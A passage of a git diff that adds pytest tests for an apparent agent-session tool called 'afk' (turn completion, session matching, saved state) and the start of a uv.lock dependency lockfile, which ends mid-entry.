Message( + role="assistant", + parts=[TextPart(text="Running it."), _call("Bash", command="ls")], + ) + result = Message(role="tool", parts=[_result("ok")]) + asked = Message(role="user", parts=[TextPart(text="go")]) + assert turn_finished([asked, said]) + assert not turn_finished( + [asked, calling] + ), "a pending tool call means the turn goes on" + assert not turn_finished( + [asked, calling, result] + ), "a result means the agent speaks next" + assert not turn_finished([asked]) and not turn_finished([]) + + +def test_bold_markers_are_not_drawn_as_asterisks() -> None: + m = Message(role="assistant", parts=[TextPart(text="**add()** now adds")]) + assert lines(m, 80, PLAIN) == [" add() now adds"] + + +def test_peek_starts_at_the_prompt_of_the_current_turn() -> None: + ask = Message(role="user", parts=[TextPart(text="go")]) + call = Message(role="assistant", parts=[_call("Bash", command="ls")]) + res = Message(role="tool", parts=[_result("ok")]) + done = Message(role="assistant", parts=[TextPart(text="done")]) + history = [ask, done, ask, call, res, call, res, call, res, done] + assert _peek_start(history) == 2, "the turn reads whole, from its prompt" + no_prompt = [call, res, call, res, call, res, done] + start = _peek_start(no_prompt) + assert ( + no_prompt[start].role != "tool" + ), "never start on a result whose call is not shown" + + +def test_a_pushed_turn_is_not_finished_before_it_shows_up() -> None: + past = [ + Message(role="user", parts=[TextPart(text="plan it")]), + Message(role="assistant", parts=[TextPart(text="Ready.")]), + ] + assert not turn_finished( + past, CONTINUE_MARK + ), "the old last reply proves nothing about the new turn" + asked = [ + *past, + Message( + role="user", + parts=[TextPart(text=CONTINUE.format(path="/vercel/sandbox"))], + ), + ] + assert not turn_finished(asked, CONTINUE_MARK) + working = [ + *asked, + Message(role="assistant", parts=[_call("Bash", command="ls")]), + ] + assert not turn_finished(working, CONTINUE_MARK) + done = [ + *working, + Message(role="tool", parts=[_result("ok")]), + Message(role="assistant", parts=[TextPart(text="Done.")]), + ] + assert turn_finished(done, CONTINUE_MARK) diff --git a/examples/apps/afk/tests/test_resolve.py b/examples/apps/afk/tests/test_resolve.py new file mode 100644 index 00000000..62ef5f6e --- /dev/null +++ b/examples/apps/afk/tests/test_resolve.py @@ -0,0 +1,76 @@ +"""What you type becomes one conversation, or afk asks — it never guesses.""" + +from __future__ import annotations + +import time + +import pytest +from afk.resolve import AmbiguousError, NoMatchError, match, pick +from afk.rows import Row, Where + + +def _row( + sid: str, + title: str, + *, + active: bool = False, + label: str | None = None, + where: Where = "here", +) -> Row: + ts = int(time.time()) - (60 if active else 3 * 3600) + return Row( + where=where, + kind="claude-code", + session_id=sid, + title=title, + updated_at=ts, + status="", + label=label, + ) + + +ROWS = [ + _row("a3f5aaaa-0000", "migrate the billing tests to pytest", active=True), + _row("b81c1111-0000", "add rate limiting to the webhook"), + _row( + "c2d1bbbb-0000", + "review the auth middleware", + label="review", + where="remote", + ), +] + + +def test_a_word_from_the_title_or_a_label_is_enough() -> None: + assert match(ROWS, "webhook").session_id.startswith("b81c") + assert match(ROWS, "review").label == "review" + assert match(ROWS, "a3f5").session_id.startswith("a3f5") + + +def test_no_argument_means_the_one_conversation_clearly_in_use() -> None: + assert match(ROWS, None).session_id.startswith("a3f5") + + +def test_two_active_conversations_are_asked_about_not_guessed() -> None: + rows = [ + *ROWS, + _row("d9e0cccc-0000", "fix the flaky deploy test", active=True), + ] + with pytest.raises(AmbiguousError): + match(rows, None) + + +def test_a_word_matching_two_rows_is_ambiguous_and_names_both() -> None: + with pytest.raises(AmbiguousError) as amb: + match(ROWS, "the") + assert len(amb.value.matches) == 3 + + +def test_where_scopes_the_search() -> None: + with pytest.raises(NoMatchError): + match(ROWS, "review", where="here") + + +def test_pick_takes_a_number_and_enter_cancels() -> None: + assert pick(ROWS, "pick", ask=lambda _: "2") is ROWS[1] + assert pick(ROWS, "pick", ask=lambda _: "") is None diff --git a/examples/apps/afk/tests/test_state.py b/examples/apps/afk/tests/test_state.py new file mode 100644 index 00000000..5ea262cd --- /dev/null +++ b/examples/apps/afk/tests/test_state.py @@ -0,0 +1,55 @@ +"""afk's state holds only what the machine cannot tell, and round-trips.""" + +from __future__ import annotations + +from afk import state as st + +from ai.harnesses.experimental import Handle +from ai.workspaces.experimental import WorkspaceCoords + + +def _remote(label: str, sandbox: str, origin: str = "/proj") -> st.Remote: + return st.Remote( + label=label, + origin=origin, + sandbox=sandbox, + pty=f"afk-{label}", + mode="tui", + handle=Handle( + kind="claude-code", + session_id=f"{label}-0000-0000", + workspace=WorkspaceCoords(provider="sandbox", location=sandbox), + ), + from_id="a3f5", + pushed_at=st.now(), + ) + + +def test_round_trip_and_origin_scoping() -> None: + state = st.State( + remotes=[ + _remote("billing", "amber-fox"), + _remote("other", "blue-owl", origin="/elsewhere"), + ] + ) + st.save(state) + loaded = st.load() + assert [r.label for r in loaded.for_origin("/proj")] == ["billing"] + assert loaded.sandboxes("/proj") == ["amber-fox"] + assert loaded.sandboxes() == ["amber-fox", "blue-owl"] + + +def test_forgetting_a_sandbox_drops_everything_pushed_there() -> None: + state = st.State( + remotes=[ + _remote("a", "amber-fox"), + _remote("b", "amber-fox"), + _remote("c", "blue-owl"), + ] + ) + state.forget_sandbox("amber-fox") + assert [r.label for r in state.remotes] == ["c"] + + +def test_missing_file_is_an_empty_state() -> None: + assert st.load().remotes == [] diff --git a/examples/apps/afk/uv.lock b/examples/apps/afk/uv.lock new file mode 100644 index 00000000..07563f5d --- /dev/null +++ b/examples/apps/afk/uv.lock @@ -0,0 +1,885 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" +resolution-markers = [ + "python_full_version >= '3.14'", + "python_full_version < '3.14'", +] + +[options] +exclude-newer = "0001-01-01T00:00:00Z" # This has no effect and is included for backwards compatibility when using relative exclude-newer values. +exclude-newer-span = "P2D" + +[[package]] +name = "afk" +version = "0.1.0" +source = { editable = "." } +dependencies = [ + { name = "ai", extra = ["claude-code", "sandbox"] }, + { name = "vercel-sandbox" }, +] + +[package.dev-dependencies] +dev = [ + { name = "pytest" }, + { name = "pytest-asyncio" }, +] + +[package.metadata] +requires-dist = [ + { name = "ai", extras = ["claude-code", "sandbox"], editable = "../../../" }, + { name = "vercel-sandbox", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=ec07c8602d533067d7a9e6c400560659e65c6c50" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "pytest", specifier = ">=8.0" }, + { name = "pytest-asyncio", specifier = ">=0.24" }, +] + +[[package]] +name = "ai" +source = { editable = "../../../" } +dependencies = [ + { name = "httpx2" }, + { name = "modelsdotdev" }, + { name = "pydantic" }, + { name = "typing-extensions" }, +] + +[package.optional-dependencies] +claude-code = [ + { name = "claude-agent-sdk" }, +] +sandbox = [ + { name = "vercel-sandbox" }, +] + +[package.metadata] +requires-dist = [ + { name = "anthropic", marker = "extra == 'anthropic'", specifier = ">=0.83.0,<2.0.0" }, + { name = "claude-agent-sdk", marker = "extra == 'claude-code'", specifier = ">=0.2.144,<0.3" }, + { name = "httpx2", specifier = ">=2.12.0" }, + { name = "mcp", marker = "extra == 'mcp'", specifier = ">=2.0.0,<3.0.0" }, + { name = "modelsdotdev", specifier = "==0.*" }, + { name = "openai", marker = "extra == 'openai'", specifier = ">=2.34.0,<4.0.0" }, + { name = "opentelemetry-exporter-otlp-proto-http", marker = "extra == 'otel'", specifier = ">=1.30" }, + { name = "opentelemetry-sdk", marker = "extra == 'otel'", specifier = ">=1.30" }, + { name = "pydantic", specifier = ">=2.13" }, + { name = "typing-extensions", specifier = ">=4.15.0" }, + { name = "vercel-oidc", marker = "extra == 'vercel'", specifier = ">=0.8.0" }, + { name = "vercel-sandbox", marker = "extra == 'sandbox'" }, +] +provides-extras = ["anthropic", "claude-code", "mcp", "openai", "otel", "sandbox", "vercel"] + +[package.metadata.requires-dev] +dev = [ + { name = "anthropic", specifier = ">=0.83.0" }, + { name = "async-solipsism", specifier = ">=0.9" }, + { name = "claude-agent-sdk", specifier = ">=0.2.144,<0.3" }, + { name = "mcp", specifier = ">=2.0.0,<3.0.0" }, + { name = "mypy", specifier = "~=2.1.0" }, + { name = "openai", specifier = ">=2.14.0" }, + { name = "opentelemetry-exporter-otlp-proto-http", specifier = ">=1.43.0" }, + { name = "opentelemetry-sdk", specifier = ">=1.43.0" }, + { name = "pytest", specifier = ">=8.0" }, + { name = "pytest-asyncio", specifier = ">=0.24" }, + { name = "python-dotenv", specifier = ">=1.2.1" }, + { name = "rich", specifier = ">=14.2.0" }, + { name = "ruff", specifier = "~=0.8.0" }, + { name = "ty", specifier = "~=0.0.37" }, + { name = "vercel-oidc", specifier = ">=0.8.0" }, + { name = "vercel-sandbox", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=ec07c8602d533067d7a9e6c400560659e65c6c50" }, +] + +[[package]] +name = "annotated-types" +version = "0.8.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/5f/56/a8120250d128bed162cd73c76d45f6ef9991f3e068f62a8ee060afa3104a/annotated_types-0.8.0.tar.gz", hash = "sha256:13b2beaad985e05e2d6407ee4c4f35590b11f8d693a258a561055cac8f64cab7", size = 15893, upload-time = "2026-07-23T20:16:13.995Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/99/91/8acff4f5e50511b911bbccb72b8628a49c68ce14148cd9f6431094859a90/annotated_types-0.8.0-py3-none-any.whl", hash = "sha256:f072f4d804ea359e4eaf198b1af7a8b0943881a87f31bb764f8bf219bb9419e0", size = 13427, upload-time = "2026-07-23T20:16:12.938Z" }, +] + +[[package]] +name = "anyio" +version = "4.15.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "idna" }, + { name = "typing-extensions", marker = "python_full_version < '3.15'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/a9/d2/f4d173e22df740bc37b1db102b386ba719b66e95b0f0d751f556b387e6d2/anyio-4.15.1.tar.gz", hash = "sha256:9f28306018cbd6d329e64a36d58256edff76dd996fe423bc957326e578b82a94", size = 276966, upload-time = "2026-09-05T10:42:39.44Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/12/b8/4bd346e22b28902df4d651910f5242c28d84e4a5c2435ca5c3f797ed7e2e/anyio-4.15.1-py3-none-any.whl", hash = "sha256:6152fdbbf9a77fdec97731721bebf7c4c44f7c29b424b0065826173efc7ed101", size = 132079, upload-time = "2026-09-05T10:42:37.923Z" }, +] + +[[package]] +name = "attrs" +version = "26.1.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/9a/8e/82a0fe20a541c03148528be8cac2408564a6c9a0cc7e9171802bc1d26985/attrs-26.1.0.tar.gz", hash = "sha256:d03ceb89cb322a8fd706d4fb91940737b6642aa36998fe130a9bc96c985eff32", size = 952055, upload-time = "2026-03-19T14:22:25.026Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/64/b4/17d4b0b2a2dc85a6df63d1157e028ed19f90d4cd97c36717afef2bc2f395/attrs-26.1.0-py3-none-any.whl", hash = "sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309", size = 67548, upload-time = "2026-03-19T14:22:23.645Z" }, +] + +[[package]] +name = "cffi" +version = "2.1.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pycparser", marker = "implementation_name != 'PyPy'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/9e/ef/008a1939e372c06329a3fce4279c02f328488f3526744906eeec3da7ad5f/cffi-2.1.1.tar.gz", hash = "sha256:dd31f52ea1086513bb9df30f8fcee9b8918323ae067a3d5b78bc826a000712be", size = 530807, upload-time = "2026-08-03T21:21:18.939Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/10/69/43965eccfdead3b9220015fd1320e117be8c6ed01a62ffab76eeb752f5d5/cffi-2.1.1-cp312-cp312-macosx_10_15_x86_64.whl", hash = "sha256:c8c69575568085ba0b1b10c0249d779a214aea6f6522e949a0fc9fb0fcb449d0", size = 184821, upload-time = "2026-08-03T21:19:44.887Z" }, + { url = "https://files.pythonhosted.org/packages/54/7d/16e5a096677b5e313ca80cd5e5170efa3ea44624a82bb111925522da64b1/cffi-2.1.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:f81b3b8f3d4e343550fa4baa0e479bba9f2d29ce9c2e9b51d1ce1718d7442fcf", size = 184719, upload-time = "2026-08-03T21:19:46.129Z" }, + { url = "https://files.pythonhosted.org/packages/56/e6/8941622732edec876dd17d0453dce07317ae96db34f2ec1436c9d3785986/cffi-2.1.1-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:811bd1e21d32de12efca32393a0ab3f5133b54fce9bd44b8bd77ab07da14bf6a", size = 214799, upload-time = "2026-08-03T21:19:47.218Z" }, + { url = "https://files.pythonhosted.org/packages/44/de/f98430906df1545ffde0d543dd124a7a439bc2cd32b36b9c53f805df7333/cffi-2.1.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:68e62fe11f30d5ca8289242866f0a5291402d8529ca2178ab8afc5c9694ae890", size = 222389, upload-time = "2026-08-03T21:19:48.331Z" }, + { url = "https://files.pythonhosted.org/packages/6a/5b/717f1526b9957b34456313c31645c5b82b8fb5c3fe9e4752999be7128bfc/cffi-2.1.1-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:4a7c934f7360e8cd64fe9efadcbd10c7c6364f531e432b9a4bf5ccbc9e0e8b50", size = 210249, upload-time = "2026-08-03T21:19:49.543Z" }, + { url = "https://files.pythonhosted.org/packages/64/b3/f8aa4f3e34986c7e4ec45072d1b1b9dd295b6b18007b45518d79726dd725/cffi-2.1.1-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:3143d81e29e1e20a9ce10901ec369012947876596f75a222235965f2b7ae832e", size = 208775, upload-time = "2026-08-03T21:19:50.918Z" }, + { url = "https://files.pythonhosted.org/packages/b1/db/dceb9dd5b231e1da801793f8acc9f3c52a7e1afe40bb1aae37e02b0faad5/cffi-2.1.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c1453022f490d2459a11819d83ad1d586e9ff65a12ac3e705ffebd46d3685dcf", size = 221822, upload-time = "2026-08-03T21:19:52.054Z" }, + { url = "https://files.pythonhosted.org/packages/a0/d2/6cd24ae3be000a634109c247d1475d62e5616d0dc78c82770942ec384248/cffi-2.1.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:208f941bb9d18e768138677f0a6d2ce01f590df56043dda1df1535ac57c88517", size = 225232, upload-time = "2026-08-03T21:19:53.109Z" }, + { url = "https://files.pythonhosted.org/packages/cb/52/3fa190537004dd7f0ab860a6dc7c0175b8667f68d1e618a46f5498d30250/cffi-2.1.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:210019b6c7cf07f081b4c54635c8cf744377001350e29cc0f81c4377b4797735", size = 223597, upload-time = "2026-08-03T21:19:54.515Z" }, + { url = "https://files.pythonhosted.org/packages/80/fb/0bb75b7039588c074b37ae99f40d9bfddf990ecb2fbc346ebccd2e56b9be/cffi-2.1.1-cp312-cp312-win32.whl", hash = "sha256:046bfc24911b37851ee1b51aab8bffe713d89c68c6a057b09484ce9fd5f69b4e", size = 175292, upload-time = "2026-08-03T21:19:55.566Z" }, + { url = "https://files.pythonhosted.org/packages/d9/79/615cc094e2fb508cade7de88d3b4f6c4ec2bab695c97bce9153dc65aadf5/cffi-2.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:f53e442b08449d42821fa4a4fba000095af9f62742a500f978a9f557ec44339a", size = 185919, upload-time = "2026-08-03T21:19:56.89Z" }, + { url = "https://files.pythonhosted.org/packages/70/c6/d0ea84713fe46b243a436a18fcd47d639732747e21635c8a27191b06dc30/cffi-2.1.1-cp312-cp312-win_arm64.whl", hash = "sha256:7bde5e4cc5c10140859842b9d383af292b22639a4dffb725314baf45968cef80", size = 180093, upload-time = "2026-08-03T21:19:58.155Z" }, + { url = "https://files.pythonhosted.org/packages/9d/f4/035513d4117049066b4779dc3b7c0c0fdad175fa13731c9f4003f1cd1478/cffi-2.1.1-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:b5bdfd1c873d4e093aabc0ca84c4ca6dbc4f752afb5c86f146d9742580c9da2e", size = 194248, upload-time = "2026-08-03T21:19:59.399Z" }, + { url = "https://files.pythonhosted.org/packages/76/af/2aeb4dbb5fc41a04161ae9ff1518de7cec08e164f44a8ce6a4cf7fd2cd1d/cffi-2.1.1-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:31348097ff5bbe827ccc41795d4dd099d9f0625e7def00ee653c137a490c2a6c", size = 196908, upload-time = "2026-08-03T21:20:00.746Z" }, + { url = "https://files.pythonhosted.org/packages/a7/46/2e5fdde8555706dd98139a910ca11be02809f3f605ce956f655d0214e100/cffi-2.1.1-cp313-cp313-macosx_10_15_x86_64.whl", hash = "sha256:9d2055050ea716bd38b7f7f1579c275386646b4894c155a3e2f3cd62ed41b7c6", size = 184805, upload-time = "2026-08-03T21:20:02.02Z" }, + { url = "https://files.pythonhosted.org/packages/55/41/4c7042f317b9217502988f0873af87e16ad606dc20f84e546e3e6ce9764c/cffi-2.1.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:19ee6127ee34de7d83ce3d371ebc5ed91addbdcc39f9ab15ce4eb35a4e534971", size = 184764, upload-time = "2026-08-03T21:20:03.141Z" }, + { url = "https://files.pythonhosted.org/packages/43/1f/1c3d90d91811c8f86ced9ed637956c54bfe5b79ca98fe976d7f8c8979f6b/cffi-2.1.1-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:6a8dddef476fab96d066d578fc88526767b836ab5ab21754e1d5bf3879c31c7c", size = 214722, upload-time = "2026-08-03T21:20:04.377Z" }, + { url = "https://files.pythonhosted.org/packages/37/6f/3b5ce4c3b2192d250f04908f2bfd91ef34552ec8f7716a5d4abdb8d67bb2/cffi-2.1.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f16c709686a78c727bbbf059f92b0bf41c6fc60deec706d2dc19f529175a6125", size = 222369, upload-time = "2026-08-03T21:20:05.544Z" }, + { url = "https://files.pythonhosted.org/packages/02/10/4b3c75dde3d9663c9e02ba05c2668b954f671d4bbe346413ca8c696b295a/cffi-2.1.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:fcd22650c908d7b7da162bbfaab594a1227a15d1643a98c68b122ac642fa2264", size = 210175, upload-time = "2026-08-03T21:20:06.75Z" }, + { url = "https://files.pythonhosted.org/packages/df/62/14f74b9543e605d17701dc797b815958b8bb70b7624ce1b832ddad48ed6c/cffi-2.1.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:aa9511c62d14da7aacc9b4bf51f3f697a621e83b2d6919008243c3aad168eea3", size = 208670, upload-time = "2026-08-03T21:20:08.04Z" }, + { url = "https://files.pythonhosted.org/packages/95/95/86342356ff5953b3fb06f7ef7c5bee212d45e770abc7218d451b9148313c/cffi-2.1.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:a931079504ecc49efed7744c476a5c343a92fabf66dec2db95edb1b2fdc770e2", size = 221824, upload-time = "2026-08-03T21:20:09.274Z" }, + { url = "https://files.pythonhosted.org/packages/eb/ff/7b3429ff53aafe931ed8a5fc69f481bbef7ba6de87ddcbb63d08f483f613/cffi-2.1.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a2d7755bef5a12ed488f4ef1f1b69ee9191d7396083b755a5d2295f6edb4768b", size = 225148, upload-time = "2026-08-03T21:20:10.7Z" }, + { url = "https://files.pythonhosted.org/packages/34/34/a95870b9221e09cf4f2ce3178b1a210abdfe63a1bd357da940418d7b8d15/cffi-2.1.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:e0bcb7e0f677f543555d2adff3bf19c05f66cdb4796e5ff602442ab2fe3c4ef7", size = 223564, upload-time = "2026-08-03T21:20:12.165Z" }, + { url = "https://files.pythonhosted.org/packages/70/ea/839b50531021a647fb5e929f72cf97bc1ff702b5472166164b5b6e76b851/cffi-2.1.1-cp313-cp313-win32.whl", hash = "sha256:334644fbac4eff73d985a17a91226df55d0f394160c4cfb880e084c8f7161cac", size = 175263, upload-time = "2026-08-03T21:20:13.559Z" }, + { url = "https://files.pythonhosted.org/packages/60/a6/8b149b2c3f2e11aaa1618ef64500b45f50f22c57a977a4dff1aff1f91042/cffi-2.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:1aa5645c30469b09530c4ebca77ebf8f17618293c58f8549cb1a543a50236e7d", size = 185688, upload-time = "2026-08-03T21:20:14.69Z" }, + { url = "https://files.pythonhosted.org/packages/01/9a/11f687cb39d6a3504060d5242f04f48c735afb4d3d533958a20594890cb2/cffi-2.1.1-cp313-cp313-win_arm64.whl", hash = "sha256:63bbfd5ded17c4840ac07cd8f1c21ba9d9708141f840b324f422f41b207e3973", size = 180078, upload-time = "2026-08-03T21:20:15.917Z" }, + { url = "https://files.pythonhosted.org/packages/d3/7b/d6bbf82b8b96e7391438898c42f5bd96dd02030fd5b64937d248220003e2/cffi-2.1.1-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:7dbb61fe3a7699468030f71bbe5f8a0e326a151daa91beb11a6fc1f980c55e1c", size = 194064, upload-time = "2026-08-03T21:20:17.148Z" }, + { url = "https://files.pythonhosted.org/packages/94/e6/bcc91b283be94735e268487a054004f0aa19947b6348fa367db53230abc8/cffi-2.1.1-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:f24fb43132a4c6b4cb4eb029492919b2db645be6808d738f244fd146c03c32cb", size = 196720, upload-time = "2026-08-03T21:20:18.268Z" }, + { url = "https://files.pythonhosted.org/packages/d9/99/c4b0c17cacdc9c3b8f280026286a9826d6a208c0f047591a3c3ce99b91fd/cffi-2.1.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:d28630f5854ab07ab1fd4aba756de52326c82e6be15d414b12793f1975048b54", size = 184964, upload-time = "2026-08-03T21:20:19.708Z" }, + { url = "https://files.pythonhosted.org/packages/b3/a9/9db617d05d7367c1ad0ab00b3aa6e6f9281edd689b4ee9ea0e5a84e89c97/cffi-2.1.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:661c298b4821edebead0c91edd2b00374d67ad7c5a1f7a91d4442633b79d6a72", size = 184962, upload-time = "2026-08-03T21:20:20.833Z" }, + { url = "https://files.pythonhosted.org/packages/67/b8/b42132ca113dc567d37684437b46ca1dafc885902b02a110a02d5b511857/cffi-2.1.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:58acb8ab8e295e6c5ea12f888cbb13cf21511ef2a3303a23f4325c29d17fe5c1", size = 222328, upload-time = "2026-08-03T21:20:22.118Z" }, + { url = "https://files.pythonhosted.org/packages/80/10/c5c0cbf0a657aecf59ef511409734230bf556f05a0d6c9eed7aa5c0a0166/cffi-2.1.1-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:456a61fa52d579ebf9df2e9552ead5129855dbaff6c1e5a9b1bc408809bdc062", size = 209985, upload-time = "2026-08-03T21:20:23.401Z" }, + { url = "https://files.pythonhosted.org/packages/d5/6c/bfa0b87b03b9238148beca990292843c9396ba069b54496596594173de7b/cffi-2.1.1-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a4f00aa42f75d6e4595e8866e748cc1705adc0cddfeb2ca86d0d03993d63ba03", size = 208530, upload-time = "2026-08-03T21:20:24.628Z" }, + { url = "https://files.pythonhosted.org/packages/e9/02/4e7d553a7ac4b4238b38b3c1b80d486e9d4436f8d2acbf87a0997fe3f402/cffi-2.1.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:b0431303acaea1089ad4b3e9ce4e6518193def1118d4073ca848635ee4ea2e96", size = 221525, upload-time = "2026-08-03T21:20:25.758Z" }, + { url = "https://files.pythonhosted.org/packages/82/1d/a4aaf9babd75acb4d5f223bff71533bee748dd770a382619a798960ee9ba/cffi-2.1.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:64faea20f4e2613363a1a9b9c7dd73058f3ecd00133a511e72ad7c511658f527", size = 225053, upload-time = "2026-08-03T21:20:26.985Z" }, + { url = "https://files.pythonhosted.org/packages/81/10/5dc0e7bdd18e22107054288283380fc97a06ae3f1656a106908d666a3c88/cffi-2.1.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5c58fe613dc5e5336357eff555824a314d8e43282600435c8d1cb6a7a2fedd13", size = 223213, upload-time = "2026-08-03T21:20:28.277Z" }, + { url = "https://files.pythonhosted.org/packages/0b/e9/d0061c364cde06ee43168a0d076ac1da512cbc380d44767b844ba34fe2b6/cffi-2.1.1-cp314-cp314-win32.whl", hash = "sha256:1a18a57b58cfb21fc28d72e876acf10eaed67a1ed96226f92af4df681d571c4c", size = 177682, upload-time = "2026-08-03T21:20:44.288Z" }, + { url = "https://files.pythonhosted.org/packages/a7/06/1c3e01e3ba14c39f6d10bfbac52753b7e22259e38088e5cfe1d704918690/cffi-2.1.1-cp314-cp314-win_amd64.whl", hash = "sha256:3222ba5d678f80a030e6afbcc33dc1ae5cb45facabb61cee2c7016b8432fde48", size = 187949, upload-time = "2026-08-03T21:20:45.623Z" }, + { url = "https://files.pythonhosted.org/packages/87/5b/da4e39efe18eeb89cf580ea9cfc66b6a7c3eadb808fc0cc1d3a295cb5a5d/cffi-2.1.1-cp314-cp314-win_arm64.whl", hash = "sha256:ab36d55f9ed2d067327667c2fea18dda018eb628dd6347aa01dda6cf1f5d3836", size = 182947, upload-time = "2026-08-03T21:20:46.955Z" }, + { url = "https://files.pythonhosted.org/packages/23/59/40338bf421c5accea1d45158170c87006ef1cd371b05c077e76476949728/cffi-2.1.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:7750c6449dff7864bb9bb27ddfb0267756189201a3afc911d82b3caacd70dfc3", size = 188504, upload-time = "2026-08-03T21:20:29.495Z" }, + { url = "https://files.pythonhosted.org/packages/7d/47/5ecf1023850036e674c77ec4de86182d309ae344e39e7cba984b7df5d647/cffi-2.1.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:0beceaabe56af686895136a2de78db54ecd8e4046b236b8fd6d6cb61389e9bf2", size = 188259, upload-time = "2026-08-03T21:20:31.291Z" }, + { url = "https://files.pythonhosted.org/packages/2a/9c/92934c3bea9f785b23eba304538c0b4d37a2a96d2431eb3a1bc87a11aa19/cffi-2.1.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:49cbc70e6542d4ccccb936558d1064a8012541e78f821f955cff24e357776c94", size = 223864, upload-time = "2026-08-03T21:20:32.571Z" }, + { url = "https://files.pythonhosted.org/packages/4d/45/ba4c93527bc38616a8bd36488acb69a2212d60486794f0c1f318949bbb76/cffi-2.1.1-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:e2d65b31f36619cda3999b78b2aa9632e76b78448e7a56fc4240824200e7c4fc", size = 211538, upload-time = "2026-08-03T21:20:33.808Z" }, + { url = "https://files.pythonhosted.org/packages/80/e9/b6ef565e452acb932fb0cb5443f44a78efbd1233e566f02b5a83855e9115/cffi-2.1.1-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:28907ab9bfb6aa13184cfc17c6b8e1023c5ab6fd7076d8c20a35e59fe04f8f29", size = 210688, upload-time = "2026-08-03T21:20:34.974Z" }, + { url = "https://files.pythonhosted.org/packages/9a/95/eff5f0cee78d2eabc7eebffec40d3fc1876b5f3c95582e018bb4b99601f2/cffi-2.1.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:51b31d1c98274844cfd7838ce00bfc27c7423a4dc00fc0772fc3331c2cc90676", size = 223803, upload-time = "2026-08-03T21:20:36.564Z" }, + { url = "https://files.pythonhosted.org/packages/fa/01/579d39fb8bef00a335a23d83757b44feb24cd6345a2c451b64cb67b9c362/cffi-2.1.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:5e7cecbaadb83884793e05828cee59b210b24583b9c7425d0ba6a754fe22eb4e", size = 226763, upload-time = "2026-08-03T21:20:37.816Z" }, + { url = "https://files.pythonhosted.org/packages/8d/b0/0b44f47c60b01b57b6e2bbd92343f13a85a1d93bc46ccf6e47e244acd99c/cffi-2.1.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:25792eac27877609e7bb06d42ff88278a6624fff2ba9bbb523c09616b117e80f", size = 225688, upload-time = "2026-08-03T21:20:38.959Z" }, + { url = "https://files.pythonhosted.org/packages/eb/d2/3b7176cb570a1d3e27faf67b72f591af508036e0d8b2be2ef9af9e8c84bb/cffi-2.1.1-cp314-cp314t-win32.whl", hash = "sha256:8ef53b2de9bcb9197d31854256575d59dbac0cba72ac627bb291ef5eceb74be4", size = 182868, upload-time = "2026-08-03T21:20:40.388Z" }, + { url = "https://files.pythonhosted.org/packages/56/78/31f00c1bcd97c9bbf55f1bfdf5bc809a5de8887473e90bb9960dca825e80/cffi-2.1.1-cp314-cp314t-win_amd64.whl", hash = "sha256:616f097f2fe415bc92a247f02e11f634e1f9e9a83d327e3c915c15089c87869e", size = 194104, upload-time = "2026-08-03T21:20:41.725Z" }, + { url = 